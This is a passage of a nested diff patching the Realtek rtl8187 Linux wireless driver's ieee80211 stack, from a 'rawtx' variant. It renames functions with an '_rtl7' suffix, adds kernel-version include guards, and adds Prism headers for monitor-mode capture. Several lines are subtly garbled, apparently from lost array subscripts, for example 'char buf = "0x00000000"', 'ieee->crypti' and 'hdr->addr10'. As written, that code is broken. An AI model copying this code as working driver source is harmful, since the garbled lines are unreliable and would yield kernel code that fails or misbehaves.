++extern int ieee80211_encrypt_fragment_rtl7(
+ 	struct ieee80211_device *ieee,
+ 	struct sk_buff *frag,
+ 	int hdr_len);
+ 	
+-extern int ieee80211_xmit(struct sk_buff *skb,
++extern int ieee80211_xmit_rtl7(struct sk_buff *skb,
+ 			  struct net_device *dev);
+-extern void ieee80211_txb_free(struct ieee80211_txb *);
++extern void ieee80211_txb_free_rtl7(struct ieee80211_txb *);
+ 
+ 
+ /* ieee80211_rx.c */
+-extern int ieee80211_rx(struct ieee80211_device *ieee, struct sk_buff *skb,
++extern int ieee80211_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb,
+ 			struct ieee80211_rx_stats *rx_stats);
+-extern void ieee80211_rx_mgt(struct ieee80211_device *ieee,
++extern void ieee80211_rx_mgt_rtl7(struct ieee80211_device *ieee,
+ 			     struct ieee80211_hdr *header,
+ 			     struct ieee80211_rx_stats *stats);
+ 
+ /* ieee80211_wx.c */
+-extern int ieee80211_wx_get_scan(struct ieee80211_device *ieee,
++extern int ieee80211_wx_get_scan_rtl7(struct ieee80211_device *ieee,
+ 				 struct iw_request_info *info,
+ 				 union iwreq_data *wrqu, char *key);
+-extern int ieee80211_wx_set_encode(struct ieee80211_device *ieee,
++extern int ieee80211_wx_set_encode_rtl7(struct ieee80211_device *ieee,
+ 				   struct iw_request_info *info,
+ 				   union iwreq_data *wrqu, char *key);
+-extern int ieee80211_wx_get_encode(struct ieee80211_device *ieee,
++extern int ieee80211_wx_get_encode_rtl7(struct ieee80211_device *ieee,
+ 				   struct iw_request_info *info,
+ 				   union iwreq_data *wrqu, char *key);
+ /* ieee80211_softmac.c */
+-extern short ieee80211_is_54g(struct ieee80211_network net);
+-extern short ieee80211_is_shortslot(struct ieee80211_network net);
+-extern int ieee80211_rx_frame_softmac(struct ieee80211_device *ieee, struct sk_buff *skb,
++extern short ieee80211_is_54g_rtl7(struct ieee80211_network net);
++extern short ieee80211_is_shortslot_rtl7(struct ieee80211_network net);
++extern int ieee80211_rx_frame_softmac_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb,
+ 			struct ieee80211_rx_stats *rx_stats, u16 type,
+ 			u16 stype);
+-extern void ieee80211_softmac_new_net(struct ieee80211_device *ieee, struct ieee80211_network *net);
++extern void ieee80211_softmac_new_net_rtl7(struct ieee80211_device *ieee, struct ieee80211_network *net);
+ 
+-extern void ieee80211_softmac_xmit(struct ieee80211_txb *txb, struct ieee80211_device *ieee);
+-extern void ieee80211_softmac_check_all_nets(struct ieee80211_device *ieee);
+-extern void ieee80211_start_bss(struct ieee80211_device *ieee);
+-extern void ieee80211_start_master_bss(struct ieee80211_device *ieee);
+-extern void ieee80211_start_ibss(struct ieee80211_device *ieee);
+-extern void ieee80211_softmac_init(struct ieee80211_device *ieee);
+-extern void ieee80211_softmac_free(struct ieee80211_device *ieee);
+-extern void ieee80211_associate_abort(struct ieee80211_device *ieee);
+-extern void ieee80211_disassociate(struct ieee80211_device *ieee);
+-extern void ieee80211_stop_scan(struct ieee80211_device *ieee);
+-extern void ieee80211_start_scan_syncro(struct ieee80211_device *ieee);
+-extern void ieee80211_check_all_nets(struct ieee80211_device *ieee);
+-extern void ieee80211_start_protocol(struct ieee80211_device *ieee);
+-extern void ieee80211_stop_protocol(struct ieee80211_device *ieee);
+-extern void ieee80211_softmac_start_protocol(struct ieee80211_device *ieee);
+-extern void ieee80211_softmac_stop_protocol(struct ieee80211_device *ieee);
+-extern void ieee80211_reset_queue(struct ieee80211_device *ieee);
+-extern void ieee80211_wake_queue(struct ieee80211_device *ieee);
+-extern void ieee80211_stop_queue(struct ieee80211_device *ieee);
+-extern struct sk_buff *ieee80211_get_beacon(struct ieee80211_device *ieee);
+-extern void ieee80211_start_send_beacons(struct ieee80211_device *ieee);
+-extern void ieee80211_stop_send_beacons(struct ieee80211_device *ieee);
+-extern int ieee80211_wpa_supplicant_ioctl(struct ieee80211_device *ieee, struct iw_point *p);
+-extern void notify_wx_assoc_event(struct ieee80211_device *ieee);
+-extern void ieee80211_ps_tx_ack(struct ieee80211_device *ieee, short success);
++extern void ieee80211_softmac_xmit_rtl7(struct ieee80211_txb *txb, struct ieee80211_device *ieee);
++extern void ieee80211_softmac_check_all_nets_rtl7(struct ieee80211_device *ieee);
++extern void ieee80211_start_bss_rtl7(struct ieee80211_device *ieee);
++extern void ieee80211_start_master_bss_rtl7(struct ieee80211_device *ieee);
++extern void ieee80211_start_ibss_rtl7(struct ieee80211_device *ieee);
++extern void ieee80211_softmac_init_rtl7(struct ieee80211_device *ieee);
++extern void ieee80211_softmac_free_rtl7(struct ieee80211_device *ieee);
++extern void ieee80211_associate_abort_rtl7(struct ieee80211_device *ieee);
++extern void ieee80211_disassociate_rtl7(struct ieee80211_device *ieee);
++extern void ieee80211_stop_scan_rtl7(struct ieee80211_device *ieee);
++extern void ieee80211_start_scan_syncro_rtl7(struct ieee80211_device *ieee);
++extern void ieee80211_check_all_nets_rtl7(struct ieee80211_device *ieee);
++extern void ieee80211_start_protocol_rtl7(struct ieee80211_device *ieee);
++extern void ieee80211_stop_protocol_rtl7(struct ieee80211_device *ieee);
++extern void ieee80211_softmac_start_protocol_rtl7(struct ieee80211_device *ieee);
++extern void ieee80211_softmac_stop_protocol_rtl7(struct ieee80211_device *ieee);
++extern void ieee80211_reset_queue_rtl7(struct ieee80211_device *ieee);
++extern void ieee80211_wake_queue_rtl7(struct ieee80211_device *ieee);
++extern void ieee80211_stop_queue_rtl7(struct ieee80211_device *ieee);
++extern struct sk_buff *ieee80211_get_beacon_rtl7(struct ieee80211_device *ieee);
++extern void ieee80211_start_send_beacons_rtl7(struct ieee80211_device *ieee);
++extern void ieee80211_stop_send_beacons_rtl7(struct ieee80211_device *ieee);
++extern int ieee80211_wpa_supplicant_ioctl_rtl7(struct ieee80211_device *ieee, struct iw_point *p);
++extern void notify_wx_assoc_event_rtl7(struct ieee80211_device *ieee);
++extern void ieee80211_ps_tx_ack_rtl7(struct ieee80211_device *ieee, short success);
+ 
+ /* ieee80211_softmac_wx.c */
+ 
+-extern int ieee80211_wx_get_wap(struct ieee80211_device *ieee, 
++extern int ieee80211_wx_get_wap_rtl7(struct ieee80211_device *ieee, 
+ 			    struct iw_request_info *info, 
+ 			    union iwreq_data *wrqu, char *ext);
+ 			    
+-extern int ieee80211_wx_set_wap(struct ieee80211_device *ieee,
++extern int ieee80211_wx_set_wap_rtl7(struct ieee80211_device *ieee,
+ 			 struct iw_request_info *info,
+ 			 union iwreq_data *awrq,
+ 			 char *extra);
+ 			 
+-extern int ieee80211_wx_get_essid(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b);
++extern int ieee80211_wx_get_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b);
+ 
+-extern int ieee80211_wx_set_rate(struct ieee80211_device *ieee, 
++extern int ieee80211_wx_set_rate_rtl7(struct ieee80211_device *ieee, 
+ 			     struct iw_request_info *info,
+ 			     union iwreq_data *wrqu, char *extra);
+ 			     
+-extern int ieee80211_wx_get_rate(struct ieee80211_device *ieee, 
++extern int ieee80211_wx_get_rate_rtl7(struct ieee80211_device *ieee, 
+ 			     struct iw_request_info *info, 
+ 			     union iwreq_data *wrqu, char *extra);
+ 			     
+-extern int ieee80211_wx_set_mode(struct ieee80211_device *ieee, struct iw_request_info *a,
++extern int ieee80211_wx_set_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,
+ 			     union iwreq_data *wrqu, char *b);
+ 			     
+-extern int ieee80211_wx_set_scan(struct ieee80211_device *ieee, struct iw_request_info *a,
++extern int ieee80211_wx_set_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,
+ 			     union iwreq_data *wrqu, char *b);
+ 			     
+-extern int ieee80211_wx_set_essid(struct ieee80211_device *ieee, 
++extern int ieee80211_wx_set_essid_rtl7(struct ieee80211_device *ieee, 
+ 			      struct iw_request_info *a,
+ 			      union iwreq_data *wrqu, char *extra);
+ 			      
+-extern int ieee80211_wx_get_mode(struct ieee80211_device *ieee, struct iw_request_info *a,
++extern int ieee80211_wx_get_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,
+ 			     union iwreq_data *wrqu, char *b);
+ 
+-extern int ieee80211_wx_set_freq(struct ieee80211_device *ieee, struct iw_request_info *a,
++extern int ieee80211_wx_set_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,
+ 			     union iwreq_data *wrqu, char *b);
+ 
+-extern int ieee80211_wx_get_freq(struct ieee80211_device *ieee, struct iw_request_info *a,
++extern int ieee80211_wx_get_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,
+ 			     union iwreq_data *wrqu, char *b);
+ 
+-extern void ieee80211_wx_sync_scan_wq(struct ieee80211_device *ieee);
++# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20))
++extern void ieee80211_wx_sync_scan_wq_rtl7(struct work_struct *work);
++#else
++extern void ieee80211_wx_sync_scan_wq_rtl7(struct ieee80211_device *ieee);
++#endif
+ 
+-extern int ieee80211_wx_set_rawtx(struct ieee80211_device *ieee, 
++extern int ieee80211_wx_set_rawtx_rtl7(struct ieee80211_device *ieee, 
+ 			       struct iw_request_info *info, 
+ 			       union iwreq_data *wrqu, char *extra);
+ 			       
+-extern int ieee80211_wx_get_name(struct ieee80211_device *ieee, 
++extern int ieee80211_wx_get_name_rtl7(struct ieee80211_device *ieee, 
+ 			     struct iw_request_info *info, 
+ 			     union iwreq_data *wrqu, char *extra);
+ 
+-extern int ieee80211_wx_set_power(struct ieee80211_device *ieee,
++extern int ieee80211_wx_set_power_rtl7(struct ieee80211_device *ieee,
+ 				 struct iw_request_info *info,
+ 				 union iwreq_data *wrqu, char *extra);
+ 
+-extern int ieee80211_wx_get_power(struct ieee80211_device *ieee,
++extern int ieee80211_wx_get_power_rtl7(struct ieee80211_device *ieee,
+ 				 struct iw_request_info *info,
+ 				 union iwreq_data *wrqu, char *extra);
+ 				 			     
+-extern const long ieee80211_wlan_frequencies;
++extern const long ieee80211_wlan_frequencies_rtl7;
+ 
+-extern inline void ieee80211_increment_scans(struct ieee80211_device *ieee)
++extern inline void ieee80211_increment_scans_rtl7(struct ieee80211_device *ieee)
+ {
+ 	ieee->scans++;
+ }
+ 
+-extern inline int ieee80211_get_scans(struct ieee80211_device *ieee)
++extern inline int ieee80211_get_scans_rtl7(struct ieee80211_device *ieee)
+ {
+ 	return ieee->scans;
+ }
+@@ -1372,7 +1398,7 @@
+ 	const char *s = essid;
+ 	char *d = escaped;
+ 
+-	if (ieee80211_is_empty_essid(essid, essid_len)) {
++	if (ieee80211_is_empty_essid_rtl7(essid, essid_len)) {
+ 		memcpy(escaped, "<hidden>", sizeof("<hidden>"));
+ 		return escaped;
+ 	}
+diff -Naur rtl8187_orig/ieee80211/ieee80211_module.c rtl8187_rawtx/ieee80211/ieee80211_module.c
+--- rtl8187_orig/ieee80211/ieee80211_module.c	2007-03-13 23:45:09.000000000 +0100
++++ rtl8187_rawtx/ieee80211/ieee80211_module.c	2007-06-08 23:30:47.000000000 +0200
+@@ -31,7 +31,6 @@
+ *******************************************************************************/
+ 
+ #include <linux/compiler.h>
+-#include <linux/config.h>
+ #include <linux/errno.h>
+ #include <linux/if_arp.h>
+ #include <linux/in6.h>
+@@ -52,6 +51,12 @@
+ #include <asm/uaccess.h>
+ #include <net/arp.h>
+ 
++#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19))
++#include <linux/config.h>
++#else
++#include <linux/autoconf.h>
++#endif
++
+ #include "ieee80211.h"
+ 
+ MODULE_DESCRIPTION("802.11 data/management/control stack");
+@@ -60,7 +65,7 @@
+ 
+ #define DRV_NAME "ieee80211"
+ 
+-static inline int ieee80211_networks_allocate(struct ieee80211_device *ieee)
++static inline int ieee80211_networks_allocate_rtl7(struct ieee80211_device *ieee)
+ {
+ 	if (ieee->networks)
+ 		return 0;
+@@ -80,7 +85,7 @@
+ 	return 0;
+ }
+ 
+-static inline void ieee80211_networks_free(struct ieee80211_device *ieee)
++static inline void ieee80211_networks_free_rtl7(struct ieee80211_device *ieee)
+ {
+ 	if (!ieee->networks)
+ 		return;
+@@ -88,7 +93,7 @@
+ 	ieee->networks = NULL;
+ }
+ 
+-static inline void ieee80211_networks_initialize(struct ieee80211_device *ieee)
++static inline void ieee80211_networks_initialize_rtl7(struct ieee80211_device *ieee)
+ {
+ 	int i;
+ 
+@@ -99,7 +104,7 @@
+ }
+ 
+ 
+-struct net_device *alloc_ieee80211(int sizeof_priv)
++struct net_device *alloc_ieee80211_rtl7(int sizeof_priv)
+ {
+ 	struct ieee80211_device *ieee;
+ 	struct net_device *dev;
+@@ -113,17 +118,17 @@
+ 		goto failed;
+ 	}
+ 	ieee = netdev_priv(dev);
+-	dev->hard_start_xmit = ieee80211_xmit;
++	dev->hard_start_xmit = ieee80211_xmit_rtl7;
+ 
+ 	ieee->dev = dev;
+ 
+-	err = ieee80211_networks_allocate(ieee);
++	err = ieee80211_networks_allocate_rtl7(ieee);
+ 	if (err) {
+ 		IEEE80211_ERROR("Unable to allocate beacon storage: %d\n",
+ 				err);
+ 		goto failed;
+ 	}
+-	ieee80211_networks_initialize(ieee);
++	ieee80211_networks_initialize_rtl7(ieee);
+ 
+ 	/* Default fragmentation threshold is maximum payload size */
+ 	ieee->fts = DEFAULT_FTS;
+@@ -138,7 +143,7 @@
+ 	INIT_LIST_HEAD(&ieee->crypt_deinit_list);
+ 	init_timer(&ieee->crypt_deinit_timer);
+ 	ieee->crypt_deinit_timer.data = (unsigned long)ieee;
+-	ieee->crypt_deinit_timer.function = ieee80211_crypt_deinit_handler;
++	ieee->crypt_deinit_timer.function = ieee80211_crypt_deinit_handler_rtl7;
+ 
+ 	spin_lock_init(&ieee->lock);
+ 
+@@ -149,7 +154,7 @@
+  	ieee->ieee802_1x = 1;
+ 	ieee->raw_tx = 0;
+ 	
+-	ieee80211_softmac_init(ieee);
++	ieee80211_softmac_init_rtl7(ieee);
+ 	
+ 	for (i = 0; i < IEEE_IBSS_MAC_HASH_SIZE; i++)
+ 		INIT_LIST_HEAD(&ieee->ibss_mac_hashi);
+@@ -167,7 +172,7 @@
+ }
+ 
+ 
+-void free_ieee80211(struct net_device *dev)
++void free_ieee80211_rtl7(struct net_device *dev)
+ {
+ 	struct ieee80211_device *ieee = netdev_priv(dev);
+ 
+@@ -175,9 +180,9 @@
+ 	struct list_head *p, *q;
+ 	
+ 	
+-	ieee80211_softmac_free(ieee);
++	ieee80211_softmac_free_rtl7(ieee);
+ 	del_timer_sync(&ieee->crypt_deinit_timer);
+-	ieee80211_crypt_deinit_entries(ieee, 1);
++	ieee80211_crypt_deinit_entries_rtl7(ieee, 1);
+ 
+ 	for (i = 0; i < WEP_KEYS; i++) {
+ 		struct ieee80211_crypt_data *crypt = ieee->crypti;
+@@ -191,7 +196,7 @@
+ 		}
+ 	}
+ 
+-	ieee80211_networks_free(ieee);
++	ieee80211_networks_free_rtl7(ieee);
+ 	
+ 	for (i = 0; i < IEEE_IBSS_MAC_HASH_SIZE; i++) {
+ 		list_for_each_safe(p, q, &ieee->ibss_mac_hashi) {
+@@ -210,13 +215,13 @@
+ u32 ieee80211_debug_level = 0;
+ struct proc_dir_entry *ieee80211_proc = NULL;
+ 
+-static int show_debug_level(char *page, char **start, off_t offset,
++static int show_debug_level_rtl7(char *page, char **start, off_t offset,
+ 			    int count, int *eof, void *data)
+ {
+ 	return snprintf(page, count, "0x%08X\n", ieee80211_debug_level);
+ }
+ 
+-static int store_debug_level(struct file *file, const char *buffer,
++static int store_debug_level_rtl7(struct file *file, const char *buffer,
+ 			     unsigned long count, void *data)
+ {
+ 	char buf = "0x00000000";
+@@ -243,7 +248,7 @@
+ 	return strnlen(buf, count);
+ }
+ 
+-static int __init ieee80211_init(void)
++static int __init ieee80211_init_rtl7(void)
+ {
+ 	struct proc_dir_entry *e;
+ 
+@@ -268,7 +273,7 @@
+ 	return 0;
+ }
+ 
+-static void __exit ieee80211_exit(void)
++static void __exit ieee80211_exit_rtl7(void)
+ {
+ 	if (ieee80211_proc) {
+ 		remove_proc_entry("debug_level", ieee80211_proc);
+@@ -282,9 +287,9 @@
+ MODULE_PARM_DESC(debug, "debug output mask");
+ 
+ 
+-module_exit(ieee80211_exit);
+-module_init(ieee80211_init);
++module_exit(ieee80211_exit_rtl7);
++module_init(ieee80211_init_rtl7);
+ #endif
+ 
+-EXPORT_SYMBOL(alloc_ieee80211);
+-EXPORT_SYMBOL(free_ieee80211);
++EXPORT_SYMBOL(alloc_ieee80211_rtl7);
++EXPORT_SYMBOL(free_ieee80211_rtl7);
+diff -Naur rtl8187_orig/ieee80211/ieee80211_rx.c rtl8187_rawtx/ieee80211/ieee80211_rx.c
+--- rtl8187_orig/ieee80211/ieee80211_rx.c	2007-03-13 23:45:09.000000000 +0100
++++ rtl8187_rawtx/ieee80211/ieee80211_rx.c	2007-06-08 23:30:47.000000000 +0200
+@@ -22,7 +22,6 @@
+  
+ 
+ #include <linux/compiler.h>
+-#include <linux/config.h>
+ #include <linux/errno.h>
+ #include <linux/if_arp.h>
+ #include <linux/in6.h>
+@@ -43,18 +42,85 @@
+ #include <asm/uaccess.h>
+ #include <linux/ctype.h>
+ 
++#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19))
++#include <linux/config.h>
++#else
++#include <linux/autoconf.h>
++#endif
++
++
+ #include "ieee80211.h"
+ 
+-static inline void ieee80211_monitor_rx(struct ieee80211_device *ieee,
++static inline void ieee80211_monitor_rx_rtl7(struct ieee80211_device *ieee,
+ 					struct sk_buff *skb,
+ 					struct ieee80211_rx_stats *rx_stats)
+ {
+-	struct ieee80211_hdr *hdr = (struct ieee80211_hdr *)skb->data;
+-	u16 fc = le16_to_cpu(hdr->frame_ctl);
++	struct ieee80211_hdr *hdr1 = (struct ieee80211_hdr *)skb->data;
++	u16 fc = le16_to_cpu(hdr1->frame_ctl);
++	int prism_header;
++	int hdrlen, phdrlen, head_need, tail_need;
++
++	if (ieee->dev->type == ARPHRD_IEEE80211_PRISM) {
++		prism_header = 1;
++		phdrlen = sizeof(struct linux_wlan_ng_prism_hdr);
++	} else {
++		prism_header = 0;
++		phdrlen = 0;
++	}
++
++	hdrlen = ieee80211_get_hdrlen_rtl7(fc);
++
++	/* check if there is enough room for extra data; if not, expand skb
++	 * buffer to be large enough for the changes */
++	head_need = phdrlen;
++	tail_need = 0;
++#ifdef PRISM2_ADD_BOGUS_CRC
++	tail_need += 4;
++#endif /* PRISM2_ADD_BOGUS_CRC */
++
++	head_need -= skb_headroom(skb);
++	tail_need -= skb_tailroom(skb);
++
++	if (head_need > 0 || tail_need > 0) {
++		if (pskb_expand_head(skb, head_need > 0 ? head_need : 0,
++				     tail_need > 0 ? tail_need : 0,
++				     GFP_ATOMIC)) {
++			printk(KERN_DEBUG "%s: ieee80211_rx failed to "
++			       "reallocate skb buffer\n", ieee->dev->name);
++			dev_kfree_skb_any(skb);
++			return;
++		}
++	}
++
++	if (prism_header == 1) {
++		struct linux_wlan_ng_prism_hdr *hdr;
++		hdr = (struct linux_wlan_ng_prism_hdr *)
++			skb_push(skb, phdrlen);
++		memset(hdr, 0, phdrlen);
++		hdr->msgcode = LWNG_CAP_DID_BASE;
++		hdr->msglen = sizeof(*hdr);
++		memcpy(hdr->devname, ieee->dev->name, sizeof(hdr->devname));
++#define LWNG_SETVAL(f,i,s,l,d) \
++hdr->f.did = LWNG_CAP_DID_BASE | (i << 12); \
++hdr->f.status = s; hdr->f.len = l; hdr->f.data = d
++		LWNG_SETVAL(hosttime, 1, 0, 4, jiffies);
++		LWNG_SETVAL(mactime, 2, 0, 4, ((u32)rx_stats->mac_time));
++		LWNG_SETVAL(channel, 3, 1 /* no value */, 4, 0);
++		LWNG_SETVAL(rssi, 4, 1 /* no value */, 4, 0);
++		LWNG_SETVAL(sq, 5, 1 /* no value */, 4, 0);
++		LWNG_SETVAL(signal, 6, 0, 4, rx_stats->signal);
++		LWNG_SETVAL(noise, 7, 0, 4, rx_stats->noise);
++		LWNG_SETVAL(rate, 8, 0, 4, rx_stats->rate / 5);
++		LWNG_SETVAL(istx, 9, 0, 4, 0);
++		LWNG_SETVAL(frmlen, 10, 0, 4, skb->len - phdrlen);
++#undef LWNG_SETVAL
++	}
+ 
+ 	skb->dev = ieee->dev;
+ 	skb->mac.raw = skb->data;
+-	skb_pull(skb, ieee80211_get_hdrlen(fc));
++	skb_pull(skb, hdrlen);
++	if (prism_header)
++		skb_pull(skb, phdrlen);
+ 	skb->pkt_type = PACKET_OTHERHOST;
+ 	skb->protocol = __constant_htons(ETH_P_80211_RAW);
+ 	memset(skb->cb, 0, sizeof(skb->cb));
+@@ -64,7 +130,7 @@
+ 
+ /* Called only as a tasklet (software IRQ) */
+ static struct ieee80211_frag_entry *
+-ieee80211_frag_cache_find(struct ieee80211_device *ieee, unsigned int seq,
++ieee80211_frag_cache_find_rtl7(struct ieee80211_device *ieee, unsigned int seq,
+ 			  unsigned int frag, u8 *src, u8 *dst)
+ {
+ 	struct ieee80211_frag_entry *entry;
+@@ -94,7 +160,7 @@
+ 
+ /* Called only as a tasklet (software IRQ) */
+ static struct sk_buff *
+-ieee80211_frag_cache_get(struct ieee80211_device *ieee,
++ieee80211_frag_cache_get_rtl7(struct ieee80211_device *ieee,
+ 			 struct ieee80211_hdr *hdr)
+ {
+ 	struct sk_buff *skb = NULL;
+@@ -133,7 +199,7 @@
+ 	} else {
+ 		/* received a fragment of a frame for which the head fragment
+ 		 * should have already been received */
+-		entry = ieee80211_frag_cache_find(ieee, seq, frag, hdr->addr2,
++		entry = ieee80211_frag_cache_find_rtl7(ieee, seq, frag, hdr->addr2,
+ 						  hdr->addr1);
+ 		if (entry != NULL) {
+ 			entry->last_frag = frag;
+@@ -146,7 +212,7 @@
+ 
+ 
+ /* Called only as a tasklet (software IRQ) */
+-static int ieee80211_frag_cache_invalidate(struct ieee80211_device *ieee,
++static int ieee80211_frag_cache_invalidate_rtl7(struct ieee80211_device *ieee,
+ 					   struct ieee80211_hdr *hdr)
+ {
+ 	u16 sc;
+@@ -156,7 +222,7 @@
+ 	sc = le16_to_cpu(hdr->seq_ctl);
+ 	seq = WLAN_GET_SEQ_SEQ(sc);
+ 
+-	entry = ieee80211_frag_cache_find(ieee, seq, -1, hdr->addr2,
++	entry = ieee80211_frag_cache_find_rtl7(ieee, seq, -1, hdr->addr2,
+ 					  hdr->addr1);
+ 
+ 	if (entry == NULL) {
+@@ -178,7 +244,7 @@
+  *
+  * Called by ieee80211_rx */
+ static inline int
+-ieee80211_rx_frame_mgmt(struct ieee80211_device *ieee, struct sk_buff *skb,
++ieee80211_rx_frame_mgmt_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb,
+ 			struct ieee80211_rx_stats *rx_stats, u16 type,
+ 			u16 stype)
+ {
+@@ -187,8 +253,8 @@
+ 	 * response parser uses it
+ 	 */
+ 	rx_stats->len = skb->len;
+-	ieee80211_rx_mgt(ieee,(struct ieee80211_hdr *)skb->data,rx_stats);	
+-	ieee80211_rx_frame_softmac(ieee, skb, rx_stats, type, stype);
++	ieee80211_rx_mgt_rtl7(ieee,(struct ieee80211_hdr *)skb->data,rx_stats);	
++	ieee80211_rx_frame_softmac_rtl7(ieee, skb, rx_stats, type, stype);
+ 
+ 	dev_kfree_skb_any(skb);
+ 	
+@@ -253,7 +319,7 @@
+ /* No encapsulation header if EtherType < 0x600 (=length) */
+ 
+ /* Called by ieee80211_rx_frame_decrypt */
+-static int ieee80211_is_eapol_frame(struct ieee80211_device *ieee,
++static int ieee80211_is_eapol_frame_rtl7(struct ieee80211_device *ieee,
+ 				    struct sk_buff *skb)
+ {
+ 	struct net_device *dev = ieee->dev;
+@@ -294,7 +360,7 @@
+ 
+ /* Called only as a tasklet (software IRQ), by ieee80211_rx */
+ static inline int
+-ieee80211_rx_frame_decrypt(struct ieee80211_device* ieee, struct sk_buff *skb,
++ieee80211_rx_frame_decrypt_rtl7(struct ieee80211_device* ieee, struct sk_buff *skb,
+ 			   struct ieee80211_crypt_data *crypt)
+ {
+ 	struct ieee80211_hdr *hdr;
+@@ -304,7 +370,7 @@
+ 		return 0;
+ 
+ 	hdr = (struct ieee80211_hdr *) skb->data;
+-	hdrlen = ieee80211_get_hdrlen(le16_to_cpu(hdr->frame_ctl));
++	hdrlen = ieee80211_get_hdrlen_rtl7(le16_to_cpu(hdr->frame_ctl));
+ 
+ #ifdef CONFIG_IEEE80211_CRYPT_TKIP
+ 	if (ieee->tkip_countermeasures &&
+@@ -339,7 +405,7 @@
+ 
+ /* Called only as a tasklet (software IRQ), by ieee80211_rx */
+ static inline int
+-ieee80211_rx_frame_decrypt_msdu(struct ieee80211_device* ieee, struct sk_buff *skb,
++ieee80211_rx_frame_decrypt_msdu_rtl7(struct ieee80211_device* ieee, struct sk_buff *skb,
+ 			     int keyidx, struct ieee80211_crypt_data *crypt)
+ {
+ 	struct ieee80211_hdr *hdr;
+@@ -349,7 +415,7 @@
+ 		return 0;
+ 
+ 	hdr = (struct ieee80211_hdr *) skb->data;
+-	hdrlen = ieee80211_get_hdrlen(le16_to_cpu(hdr->frame_ctl));
++	hdrlen = ieee80211_get_hdrlen_rtl7(le16_to_cpu(hdr->frame_ctl));
+ 
+ 	atomic_inc(&crypt->refcnt);
+ 	res = crypt->ops->decrypt_msdu(skb, keyidx, hdrlen, crypt->priv);
+@@ -367,7 +433,7 @@
+ 
+ /* this function is stolen from ipw2200 driver*/
+ #define IEEE_PACKET_RETRY_TIME (5*HZ)
+-static int is_duplicate_packet(struct ieee80211_device *ieee,
++static int is_duplicate_packet_rtl7(struct ieee80211_device *ieee,
+ 				      struct ieee80211_hdr *header)
+ {
+ //	u16 fc = le16_to_cpu(header->frame_ctl);
+@@ -444,7 +510,7 @@
+ /* All received frames are sent to this function. @skb contains the frame in
+  * IEEE 802.11 format, i.e., in the format it was sent over air.
+  * This function is called only as a tasklet (software IRQ). */
+-int ieee80211_rx(struct ieee80211_device *ieee, struct sk_buff *skb,
++int ieee80211_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb,
+ 		 struct ieee80211_rx_stats *rx_stats)
+ {
+ 	struct net_device *dev = ieee->dev;
+@@ -483,7 +549,7 @@
+ 	sc = le16_to_cpu(hdr->seq_ctl);
+ 	
+ 	frag = WLAN_GET_SEQ_FRAG(sc);
+-	hdrlen = ieee80211_get_hdrlen(fc);
++	hdrlen = ieee80211_get_hdrlen_rtl7(fc);
+ 
+ #ifdef NOT_YET
+ #if WIRELESS_EXT > 15
+@@ -501,12 +567,12 @@
+ 	}
+ #endif /* IW_WIRELESS_SPY */
+ #endif /* WIRELESS_EXT > 15 */
+-	hostap_update_rx_stats(local->ap, hdr, rx_stats);
++	hostap_update_rx_stats_rtl7(local->ap, hdr, rx_stats);
+ #endif
+ 
+ #if WIRELESS_EXT > 15
+ 	if (ieee->iw_mode == IW_MODE_MONITOR) {
+-		ieee80211_monitor_rx(ieee, skb, rx_stats);
++		ieee80211_monitor_rx_rtl7(ieee, skb, rx_stats);
+ 		stats->rx_packets++;
+ 		stats->rx_bytes += skb->len;
+ 		return 1;
+@@ -529,7 +595,7 @@
+ 		 * stations that do not support WEP key mapping). */
+ 
+ 		if (!(hdr->addr10 & 0x01) || local->bcrx_sta_key)
+-			(void) hostap_handle_sta_crypto(local, hdr, &crypt,
++			(void) hostap_handle_sta_crypto_rtl7(local, hdr, &crypt,
+ 							&sta);
+ #endif
+ 
+@@ -555,7 +621,7 @@
+ 	if (skb->len < IEEE80211_DATA_HDR3_LEN)
+ 		goto rx_dropped;
+ 
+-	if (is_duplicate_packet(ieee, hdr))
++	if (is_duplicate_packet_rtl7(ieee, hdr))
+ 		goto rx_dropped;
+ 
+ 
+@@ -575,7 +641,7 @@
+ 	#endif
+ 		
+ 	
+-		if (ieee80211_rx_frame_mgmt(ieee, skb, rx_stats, type, stype))
++		if (ieee80211_rx_frame_mgmt_rtl7(ieee, skb, rx_stats, type, stype))
+ 			goto rx_dropped;
+ 		else
+ 			goto rx_exit;
+@@ -606,7 +672,7 @@
+ 	}
+ 
+ #ifdef NOT_YET
+-	if (hostap_rx_frame_wds(ieee, hdr, fc, &wds))
++	if (hostap_rx_frame_wds_rtl7(ieee, hdr, fc, &wds))
+ 		goto rx_dropped;
+ 	if (wds) {
+ 		skb->dev = dev = wds;
+@@ -619,7 +685,7 @@
+ 	    memcmp(hdr->addr2, ieee->assoc_ap_addr, ETH_ALEN) == 0) {
+ 		/* Frame from BSSID of the AP for which we are a client */
+ 		skb->dev = dev = ieee->stadev;
+-		stats = hostap_get_stats(dev);
++		stats = hostap_get_stats_rtl7(dev);
+ 		from_assoc_ap = 1;
+ 	}
+ #endif
+@@ -630,7 +696,7 @@
+ 	if ((ieee->iw_mode == IW_MODE_MASTER ||
+ 	     ieee->iw_mode == IW_MODE_REPEAT) &&
+ 	    !from_assoc_ap) {
+-		switch (hostap_handle_sta_rx(ieee, dev, skb, rx_stats,
++		switch (hostap_handle_sta_rx_rtl7(ieee, dev, skb, rx_stats,
+ 					     wds != NULL)) {
+ 		case AP_RX_CONTINUE_NOT_AUTHORIZED:
+ 			frame_authorized = 0;
+@@ -664,7 +730,7 @@
+ 	/* skb: hdr + (possibly fragmented, possibly encrypted) payload */
+ 
+ 	if (ieee->host_decrypt && (fc & IEEE80211_FCTL_WEP) &&
+-	    (keyidx = ieee80211_rx_frame_decrypt(ieee, skb, crypt)) < 0)
++	    (keyidx = ieee80211_rx_frame_decrypt_rtl7(ieee, skb, crypt)) < 0)
+ 		goto rx_dropped;
+ 
